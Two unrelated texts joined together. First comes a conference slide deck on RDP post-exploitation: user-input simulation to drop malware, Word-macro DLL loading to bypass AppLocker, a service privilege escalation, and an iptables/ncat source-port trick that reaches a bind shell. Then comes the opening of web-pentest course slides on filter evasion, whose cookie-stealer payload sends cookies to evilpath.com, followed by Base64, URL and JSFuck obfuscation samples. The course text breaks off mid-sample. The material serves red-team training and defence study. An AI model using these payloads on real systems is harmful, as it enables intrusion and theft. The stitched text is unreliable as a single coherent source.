• New things to look for during log
analysis/incident response
Divide et impera!
Divide the problem into smaller pieces and rule them
all, one by one
1.
drop malware into the RDP server
2.
execute any code on RDP server
3.
elevate to admin privileges
4.
bypass hardware firewall
Divide et impera!
Divide the problem into smaller pieces and rule them
all, one by one
1.
drop malware into the RDP server –> new shiny tool
2.
execute any code on RDP server –> nothing new here
3.
elevate to admin privileges –> nothing new, no 0day for
you
4. bypass hardware firewall -> new shiny tool
1. Drop malware into RDP server
1. Drop malware into RDP server
Malware waits for the user to connect to RDP server
Creates screenshot (or new animation)
Optionally blocks user keyboard, mouse ~20 seconds
Uses the keyboard and the clipboard – simulates user
1. Starts M$ Word on RDP server
2. Drops encoded ASCII payload
3. Creates Macro code
4. Macro writes binary
5. Macro starts binaries
Alternative usage of “user
simulator”
1. Add directory to be excluded from AV scans
use the AV GUI!
only if the user has the privileges and no UAC
2. Install new trusted root certification authority and
accept warning – and MiTM SSL connections
CA pinning does not stop
this attack
2. What is Applocker?
2. Execute any code, bypass
Applocker
„AppLocker can only control VBScript, JScript, .bat
files, .cmd files and Windows PowerShell scripts. It
does not control all interpreted code that runs within a
host process, for example Perl scripts and macros.
Applications could contain flags that are passed to
functions that signal AppLocker to circumvent the rules
and allow another .exe or .dll file to be loaded.
The administrator on the local computer can modify
the AppLocker policies defined in the local GPO.”
Execute any code, bypass
Applocker
Load DLL with Word Macro!
Even shellcode execution is possible!
http://blog.didierstevens.com/2008/06/05/bpmtk-
how-about-srp-whitelists/
Private Declare PtrSafe Function FreeLibrary Lib "kernel32" (ByVal hLibModule As
Long) As Long
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA"
(ByVal lpLibFileName As String) As Long
hLibrary = LoadLibrary(outputdir + "\hack_service.dll")
3. Elevate to admin
3. Elevate to admin
Why do I need admin?
• It is needed for the last phase, hardware firewall bypass
Possibilities
• Local priv esc zero day for Win 2012
• Exploit unpatched vulnerability
• Exploit vulnerable 3rd party program service
• Etc.
Processes started with admin (or higher) privileges are
not restricted by AppLocker!
Elevate to admin - Service exploit
C:\> accesschk.exe –l mvulnservice.exe
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\TERMINAL SERVER USER
FILE_APPEND_DATA
FILE_EXECUTE
FILE_READ_ATTRIBUTES
FILE_READ_DATA
FILE_READ_EA
FILE_WRITE_ATTRIBUTES
FILE_WRITE_DATA
FILE_WRITE_EA
SYNCHRONIZE
READ_CONTROLs
C:\> sc sdshow myvulnservice
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRCRPWP;;;IU)(A;;CCLCSWLOCRRC;;;SU)
Elevate to admin - Service exploit
C:\> accesschk.exe –l mvulnservice.exe
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\TERMINAL SERVER USER
FILE_APPEND_DATA
FILE_EXECUTE
FILE_READ_ATTRIBUTES
FILE_READ_DATA
FILE_READ_EA
FILE_WRITE_ATTRIBUTES
FILE_WRITE_DATA
FILE_WRITE_EA
SYNCHRONIZE
READ_CONTROLs
C:\> sc sdshow myvulnservice
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRCRPWP;;;IU)(A;;CCLCSWLOCRRC;;;SU)
Allow
Service start
Service stop
Interactively
logged on
user
Quiz
Quiz
What’s the name of the company which published the
first paper about packet filter firewalls
in 1988?
Quiz
What’s the name of the company which published the
first paper about packet filter firewalls
in 1988?
The company developed VAX
Quiz
What’s the name of the company which published the
first paper about packet filter firewalls
in 1988?
Digital
Equipment
Corporation
4. Bypass hardware firewall
First (bad) idea
After malware dropped
Mark every packet to be special
• start with magic bytes
And let the kernel network filter driver select the packets
Problem
• Every (hacker) application has to be rewritten, or rerouted
through a custom wrapper proxy (both server and client side)
Bypass HW firewall – second idea
TCP source port!
• E.g. port 1337 is always special
Limitations
• NAT from the attacker side
• But who cares?
Bypassing hardware firewalls
Linux
Use code at Kernel level (with root)
if tcp_source_port === 1337
redirect to bind shell
iptables -t nat -A PREROUTING -p tcp --dport 22 --
sport 1337 -j REDIRECT --to-ports 31337
•
31337 is the bind shell port
Attacker or
infected
workstation
Firewall, port 3389 allowed only
Secure remote
desktop server
Src port
1337
Dst port
3389
Dst port
3389
Dst port
31337
Bypassing hardware firewalls on
Windows x64
Installing a kernel driver in Windows x64 is not easy
•
Trusted signed driver is needed
Thanks to basil for WinDivert project (Nemea Software
Development)
•
Trusted signed kernel driver already included!
•
You can interface with the kernel driver
Alternatively, patchguard bypass could be used
http://www.codeproject.com/Articles/28318/Bypassing-
PatchGuard
Uroburos rootkit – Bring Your Own Vuln
Install root CA first with user simulator ;)
How to set TCP source port for
meterpreter bind shell?
Netcat to da rescue!
• Nmap build is used
ncat -kl 4444 -c
"ncat -p 1337 RDP.SER.VER.IP 3389"
Demo
Alternative usage of “hw fw
bypass”
You have admin on webserver
but persistent outbound C&C is blocked
Instead of local port forward, use netcat to port
forward to other machines in the DMZ
Backdoor traffic to hide your
communication inside the
legitim network traffic
The solution – as a whole
Create screenshot from user desktop
Put screenshot on the screen
Disable keyboard/mouse
Drop malware by simulating user keyboard events +
clipboard for large (ASCII) data transfer
Start WORD, create new macro code
Bypass application whitelist using DLL loading from
Word macro code
The solution
Escalate privileges to admin (vulnerable service)
Install hwfwbypass.exe with kernel driver
Drop meterpreter
Profit!
Demo
Demo 2 – as seen by the user
Lessons learned for red team
You have two new tools for your post exploitation
•
tool to drop malware into the remote desktop
•
If you have admin on a server, you can bypass/fool
hardware firewalls using my driver
Lessons learned for the blue team
Every additional layer of security can still be bypassed
Restricted remote desktop is a real interface for
malware infection
Use application/protocol aware (NG) firewall instead
of port based ones
Can be bypassed ;)
Don’t trust your firewall logs
Code release now?
References
http://reqrypt.org/windivert.html
http://inputsimulator.codeplex.com/ - modified
http://www.blackhat.com/presentations/bh-usa-06/BH-
US-06-Tereshkin.pdf
http://blog.didierstevens.com/2011/01/24/circumventing-
srp-and-applocker-by-design/
http://www.room362.com/blog/2014/01/16/application-
whitelist-bypass-using-ieexec-dot-exe
http://leastprivilege.blogspot.fr/2013/04/bypass-
applocker-by-loading-dlls-from.html?m=1
https://www.mandiant.com/blog/hikit-rootkit-advanced-
persistent-attack-techniques-part-2/
one more thing …
two more things …
User simulator available as Metasploit post module
HW FW bypass available as Metasploit post module
Hack The Planet!!!
Code released(?) under GPL
https://github.com/Z6543/.......
[email protected]
https://hu.linkedin.com/in/zbalazs
Twitter – @zh4ck
www.slideshare.net/bz98
Greetz to @hekkcamp
JumpESPJump.blogspot.com | pdf |
© Caendra Inc. 2020
All Rights Reserved
Web Application
Penetration Testing
eXtreme
/*<EVASION>*/
S e c t i o n 0 1 | M o d u l e 0 2
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Table of Contents
MODULE 02 | /*<EVASION>*/
2.1 Base64 Encoding Evasion
2.2 URI Obfuscation Techniques
2.3 JavaScript Obfuscation Techniques
2.4 PHP Obfuscation Techniques
| p.2
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
We have seen how countermeasures against web
application attacks can be implemented. Sometimes, they
are not sufficient and can easily be circumvented.
There are two solutions: attack vector optimization and
using obfuscation techniques. The last one has been used
heavily in web attacks, in the last 10 years.
Introduction & Learning Objectives
| p.3
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Evading detection techniques is like playing "cops and
robbers". Security researchers (the robbers), arrange a way
to evade detection systems. They use the technique for a
time, but then it becomes public. Next, the cops (the
defenders) implement a solution to fix the vulnerabilities.
Now it's time to produce a new technique
for the robbers!
Introduction & Learning Objectives
| p.4
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Learning Objectives
In this module, we will cover Evasion techniques >
Encoding + Obfuscation.
| p.5
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
2.1
Base64 Encoding
Evasion
| p.6
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
We have seen in the filter section how detection systems
implement a Regex-based system that searches for
malicious strings.
Let’s suppose that we want to evade a system that inspects
JavaScript code for specific keywords like eval, alert,
prompt, document.cookie, or other potential malicious
strings.
2.1 Base64 Encoding Evasion
| p.7
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
A possible way to escape these kinds of filters is by using
Base64 encoding.
Let’s setup an evasion technique for a simple cookie stealer
payload.
2.1 Base64 Encoding Evasion
| p.8
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
To steal cookies, not marked as HttpOnly is relatively easy
and we commonly use this JavaScript payload:
location.href = 'http://evilpath.com/?c='+escape(document.cookie)
As we mentioned before, a Regex-based filtering system
may detect the document.cookie keyword and block the
attack vector.
2.1.1 Cookie Stealer
| p.9
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Using Base64 encoding, we can hide document.cookie
code translating the attack vector into:
eval(atob(bG9jYXRpb24uaHJlZiA9ICdodHRwOi8vZXZpbHBhdGgu
Y29tLz9jPScrZXNjYXBlKGRvY3VtZW50LmNvb2tpZSk=))
As you may have noticed, the eval function may be
blacklisted; so, let’s see some alternatives to this function.
2.1.1 Cookie Stealer
| p.10
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
A possible way to parse a string as JavaScript is with the
following statement:
[].constructor.constructor("code")()
2.1.1 Cookie Stealer
| p.11
atob("bG9jYXRpb24uaHJlZiA9ICdodHRwOi8vZXZpbHBhdGgu
Y29tLz9jPScrZXNjYXBlKGRvY3VtZW50LmNvb2tpZSk=")
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Other valid methods are:
▪
setTimeout("code") #all browsers
▪
setInterval("code") #all browsers
▪
setImmediate("code") #IE 10+
▪
Function("code")() #all browsers
2.1.1 Cookie Stealer
| p.12
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
2.2
URI Obfuscation
Techniques
| p.13
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
URIs are fundamental elements of Internet communications.
They provide a Uniform (local and remote), Resource Identifier
and are central in the web navigation system.
Sometimes, to exploit a vulnerability, you may require a degree of
social engineering, therefore, making URI obfuscation very useful.
It can not only be handy in bypassing a filtered system, but also
to shorten the vector to respect a length limit. Let’s check out
some techniques to obfuscate URIs.
2.2 URI Obfuscation Techniques
| p.14
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
URL shortening is a technique in which a URL may be
shorter in length and still direct to the required page.
Basically, an HTTP Redirect (301 Moved Permanently)
header is sent from the domain name that is short to the
web page that has a long URL.
2.2.1 URL Shortening
| p.15
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Google URL Shortener
2.2.1 URL Shortening
| p.16
Long URL
Short URL
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
This technique is suitable for messaging systems where
character limits are imposed, such as Twitter's 140 chars
maximum.
The downside is the abuse for illicit internet activities, such
as phishing or spamming.
2.2.1 URL Shortening
| p.17
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Running your own URL shortener is simple and there are
multiple services and libraries that allow you to start the
service easily. For example:
2.2.1 URL Shortening
| p.18
Payment service
Free and OpenSource
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Since this technique has started to spread as an attack
vector to send links to malicious resources, some service
providers have implemented features in order to preview
where the shortened links point to.
This is there in order to help users to understand whether
the link is good or evil.
2.2.1 URL Shortening
| p.19
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Bitly.com Short Link Info
For example, bitly.com (bit.ly / j.mp) and managed
enterprise sites such as amzn.to, on.fb.me, etc. just add a
plus (+) after a short URL.
2.2.1 URL Shortening
| p.20
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
2.2.1.1 Bitly.com Short Link Info
| p.21
The + shows information about the link
bitly.com/hack_me
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Other shortening services implement their technique to
show the "preview" or some information about the
shortened link.
The table on the next slide shows some of the most
common used services.
2.2.1.1 Bitly.com Short Link Info
| p.22
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020 | p.23
2.2.1.2 Other Services Short Link Info
Service
How to preview
Tinyurl.com
Preview SUBDOMAIN
http://preview.tinyurl.com/ph7xh4m
Tiny.cc
Trailing TILDE http://tiny.cc/hack_me~
Other interesting services are analyzed here:
http://security.thejoshmeister.com/2009/04/how-to-preview-
shortened-urls-tinyurl.html
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
http://t.co/
There are also services that do not provide this feature,
such as t.co used by Twitter. For this kind of service, online
solutions like the following exist:
2.2.1.2 Other Services Short Link Info
| p.24
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
You can have the same result resolving the URLs 'manually’.
For example, using cURL and reading the response headers:
2.2.1.3 cURL Link Resolver
| p.25
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
http://tools.ietf.org/html/rfc3986#page-16
We are "used to" viewing URLs in formats like the following:
https://hack.me/s/#n:xss
But RFC 3986 tells us that the these are also valid URLs:
https://hack.me:443
https://_[this_is_valid][email protected]
2.2.2 URL Hostname Obfuscation
| p.26
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
http://tools.ietf.org/html/rfc3986#page-16
Starting from the URI structure, what we want to obfuscate
is the Authority component of a URI:
2.2.2.1 URL Authority Obfuscation
| p.27
Image taken form RFC 3986
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
The Authority component is structured as follows:
[ userinfo "@" ] host [ ":" port ]
Other than the port subcomponent, we can play with the
userinfo and host. Let’s look at some examples.
2.2.2.1 URL Authority Obfuscation
| p.28
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Obfuscating with Userinfo
The userinfo subcomponent is used for authentication.
If credentials are required to access a resource, they can be
included here, and the login will be automatic:
http://username:[email protected]/protected_path
If the page requires NO authentication, the subcomponent
text is ignored by both browser and server.
2.2.2.1 URL Authority Obfuscation
| p.29
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
https://hack.me/
Obfuscating with Userinfo – Basic Example
So, if we know that the resource does not require
authentication, then we could play with this URI
subcomponent like the following:
https://[email protected]/t/xss
hack.me does not implement this kind of authentication
and will ignore the www.google.com part (userinfo).
2.2.2.1 URL Authority Obfuscation
| p.30
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Obfuscating with Userinfo –Example with Unicode
In the userinfo subcomponent, Unicode is allowed,
therefore, it does not need other additional clarifications.
See below:
https://✌(◕‿-)✌@hack.me
https://mail.google.com⁄mail⁄u⁄0⁄ʔpli=1#[email protected]
2.2.2.1 URL Authority Obfuscation
| p.31
U+2044
FRACTION SLASH
U+0294
LATIN LETTER
GLOTTAL STOP
U+FF03
FULLWIDTH
NUMBER SIGN
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Obfuscating with Userinfo
In contrast, not all browsers support this obfuscation
technique. Firefox and Opera show alert messages like
these:
2.2.2.1 URL Authority Obfuscation
| p.32
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Obfuscating with Userinfo
By default, Internet Explorer versions (after patch 832894)
do not support userinfo any longer (within URLs with
schema HTTP or HTTPS).
Google Chrome and Opera allow this behavior silently!
2.2.2.1 URL Authority Obfuscation
| p.33
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Obfuscating with Host
Obfuscating the host subcomponent is part of old school
hacking. There are multiple ways in which a common host name
can be represented.
Internet names are translated to IP addresses. For example,
google.com is translated to 173.194.35.23 via Dot-decimal
notation. But there are also other ways to represent the same
"number“, such as: Dword, Octal, Hexadecimal.
2.2.2.1 URL Authority Obfuscation
| p.34
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Obfuscating with Host: DWORD – google.com
DWord or Double Word is also known as Integer IP.
Essentially, the IP address is translated in an equivalent
16bit number.
So, one of Google's IP address, 216.58.215.78, can be
translated to 3627734862 and it can be accessed using an
internet browser as http://3627734862.
2.2.2.1 URL Authority Obfuscation
| p.35
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Obfuscating with Host: OCTAL – google.com
An IP address can also be represented in Octal form. The
result is as follows: http://0330.0072.0327.0116
The IP address with each number is translated to base 8.
2.2.2.1 URL Authority Obfuscation
| p.36
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Obfuscating with Host: OCTAL – google.com
We can also "feed" each number by adding leading zeroes
without break the original value as follows:
http://0000000330.0000000072.0000000327.000000116
This extra case, however, does not work in Internet Explorer.
2.2.2.1 URL Authority Obfuscation
| p.37
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Obfuscating with Host: HEXADECIMAL – google.com
Another representation is Hexadecimal. Resembling the
previous technique, each IP number is converted to Base
16, and the result for the Google's IP is: http://0xd83ad74e
Each number can also be separated like this:
http://0xd8.0x3a.0xd7.0x4e
2.2.2.1 URL Authority Obfuscation
| p.38
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Obfuscating with Host: HEXADECIMAL – google.com
Even with Hexadecimal representation it is possible to add
leading zeroes.
However, as in previous examples, it does not work Internet
Explorer:
http://0x000000d8.0x0000003a.0x000000xd7.0x0000004e
2.2.2.1 URL Authority Obfuscation
| p.39
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Obfuscating with Host
These are the basic techniques; however, it is also possible
to mix these and create a hybrid!
Let’s see some examples.
2.2.2.1 URL Authority Obfuscation
| p.40
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Obfuscating with Host: HYBRID – google.com
The 173.194.35.23 IP address can be also represented as:
2.2.2.1 URL Authority Obfuscation
| p.41
0xAD.194.35.23
0xAD.0xC2.35.23
0xAD.0xC2.0x23.23
0xAD.0xC2.0x23.0x17
0xAD.0302.35.23
0xAD.0302.0043.23
0xAD.0302.8983
0xAD.12722967
Legend: Hexadecimal ~ Octal ~ Dword ~ Decimal
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Obfuscating with Host
If you want to play some with IP addresses, this online tool
can be very useful:
http://www.silisoftware.com/tools/ipconverter.php
It converts IP addresses using the techniques we just
discussed.
2.2.2.1 URL Authority Obfuscation
| p.42
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
2.3
Java Obfuscation
Techniques
| p.43
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
In this chapter, we will analyze how to use the
flexibility of JavaScript to obfuscate code.
We’ll start with background information on different
JavaScript encoding types and some examples. Then, we’ll
introduce techniques to compress code such as minifying
and packing.
2.3 JavaScript Obfuscation Techniques
| p.44
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
http://web.archive.org/web/20111128054051/http://sla.ckers.org/forum/
read.php?2,15812,page=14
Among the many ways of encoding JavaScript, there is an
interesting technique you should know called Non-
alphanumeric JavaScript Encoding.
This technique first appeared on the sla.ckers forum in late
2009 by Yosuke Hasegawa, a Japanese security
researcher.
2.3.1 JavaScript Encoding – Non-Alphanumeric
| p.45
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
_=[]|[];$=_++;__=(_<<_);___=(_<<_)+
_;____=__+__;_____=__+___;$$=({}+""
)[_____]+({}+"")[_]+({}[$]+"")[_]+(
($!=$)+"")[___]+(($==$)+"")[$]+(($=
=$)+"")[_]+(($==$)+"")[__]+({}+"")[
_____]+(($==$)+"")[$]+({}+"")[_]+((
$==$)+"")[_];$$$=(($!=$)+"")[_]+(($
!=$)+"")[__]+(($==$)+"")[___]+(($==
$)+"")[_]+(($==$)+"")[$];$_$=({}+""
)[_____]+({}+"")[_]+({}+"")[_]+(($!
=$)+"")[__]+({}+"")[__+_____]+({}+"
")[_____]+({}+"")[_]+({}[$]+"")[__]
+(($==$)+"")[___];
($)[$$][$$]($$$+"('"+$_$+"')")();
2.3.1 JavaScript Encoding – Non-Alphanumeric
| p.46
Basically, Hasegawa
showed a way to encode
JavaScript code by using
only non-alphanumeric
characters. Take a look at
the following code.
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
This "magic" is strongly related to the loosely typed nature
of JavaScript! So, let’s start analyzing some interesting
JavaScript behaviors.
NOTE: The explanation of this technique probably requires
a dedicated module and could be boring if you are not
interested in it. As a result, we will simply analyze some key
concepts and put links in the references if you want to go
in-depth.
2.3.1 JavaScript Encoding – Non-Alphanumeric
| p.47
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
In JavaScript, you can cast a variable to String as follows:
"" + 1234 or 1234 + "" //returns "1234"
[] + 1234 or 1234 + [] //returns "1234"
Here is something a little bit complex:
x = "hello"
[1,"a",x] //returns [1, "a", "hello"]
[1,"a",x]+"" //returns "1,a,hello"
2.3.1.1 String Casting
| p.48
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Booleans
There are many ways to return a Boolean value using
non-alphanumeric characters. Here are some examples:
2.3.1.2 Booleans
| p.49
![]
!{}
!!""
[]=={}
!![]
!!{}
!""
[]==""
FALSE
TRUE
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
If you need to extract the TRUE and FALSE string, you can
construct them combining our previous examples, as
follows:
[!![]]+"" //returns "true"
[![]]+"" //returns "false"
2.3.1.2 Booleans
| p.50
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Numbers can also be "created”. For example, 0 can be
created as follows:
2.3.1.3 Numbers
| p.51
+""
-""
-+-+""
+[]
-[]
-+-+[]
![]+![]
![]+!{}
![]+!!""
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Remember, TRUE is 1 while False is 0; therefore, to
generate the number 1, we can do TRUE+FALSE and 2 is
TRUE+TRUE…
2.3.1.3 Numbers
| p.52
Number
Non-alphanumeric representations
0
+[], +"", ![]+![]
1
+!![], ![]+!"", ![]+!![], ~[]*~[],
++[[]][+[]]
2
!![]+!![], ++[++[[]][+[]]][+[]]
3
!![]+!![]+!![]
4
!![]+!![]+!![]+!![], (!![]+!![])*(!![]+!![])
5
!![]+!![]+!![]+!![]+!![]
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
After numbers, we need to know how to generate custom
stings. As we have seen with Booleans, it is possible to
extract the TRUE and FALSE strings but, what if we want to
generate the alert string? We need to generate each
character separately and then put them together.
Let’s look at an example.
2.3.1.4 String
| p.53
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
To generate the required alpha characters, we need to use
the string output of native JavaScript objects and extract
the characters required.
For example:
_={}+[] //is "[object Object]"
[]/[]+"" //is "NaN"
!![]/![]+"" //is "Infinity"
2.3.1.4.1 Generate ‘alert’ String
| p.54
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
So, to extract the alpha char a we use the NaN string and
access the position 1.
Remember, strings can be accessed like arrays:
([]/[]+"")[![]+!![]] // "a"
2.3.1.4.1 Generate ‘alert’ String
| p.55
"NaN"
1
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
The remaining alpha characters can be generated using the
following messages:
2.3.1.4.1 Generate ‘alert’ String
| p.56
l
false
e
true , false or [object Object]
r
true
t
true or infinity
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
http://utf-8.jp/public/jjencode.html
http://www.jsfuck.com/
http://utf-8.jp/public/aaencode.html
There are some interesting encodings based on this
technique, JJencode and Aaencode. These are from
Hasegawa and "an esoteric and educational programming
style" called JSFuck.
Let’s briefly see their main differences.
2.3.1 JavaScript Encoding – Non-Alphanumeric
| p.57
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
JJencode is the way by which Hasegawa encodes
JavaScript code using only symbols. It uses a customizable
global variable name and from that encodes the payload.
2.3.1.5 JJencode
| p.58
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$]
,$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++
$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$
+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"
")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.
$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$
.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]
+$._$+",\\"+$.$__+$.___+"\\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$_+$.$_$
_+"\\"+$.__$+$._$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"
+$.__$+$.$$_+$.___+$.__+"\\\"\\"+$.$__+$.___+")"+"\"")())();
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
A different approach is with AAencode. It is inspired by
Japanese style emoticons, like(●^o^●)for instance.
2.3.1.6 AAencode
| p.59
゚ω゚ノ= /`m´)ノ ~┻━┻
//*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚
)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o
-(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚
Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚)
['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_')
[゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚)
['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+
(゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+
(゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚
o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε
゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ [continue]
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
http://web.archive.org/web/20110707162819/http://sla.ckers.org/forum/
read.php?24,32930
One of the latest interesting encodings originated from a
discussion on sla.ckers.org. The idea was to use only 6
different characters to write and execute JavaScript code.
The implementation is called: JSFuck.
The six characters allowed are ()+[]!. The concept is to start
from atomic parts of JavaScript and from that construct
the encoded payload.
2.3.1.7 JSFuck
| p.60
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Below are some basic atomic parts, the full list is on github.
2.3.1.7 JSFuck
| p.61
'SIMPLE' string
false
![]
true
!![]
Undefined
[][[]]
NaN
+[![]]
Infinity
+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+
[+!+[]]+[+[]]+[+[]]+[+[]])
Array
[]
Number
+[]
String
[]+[]
Boolean
![]
Function
[]["filter"]
eval
[]["filter"]["constructor"]( CODE )()
window
[]["filter"]["constructor"]("return this")()
'CONSTRUCTOR'
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
The result is something like this:
2.3.1.7 JSFuck
| p.62
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[]
)[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![
]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]
+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+
([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[
])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(
![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[
]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+
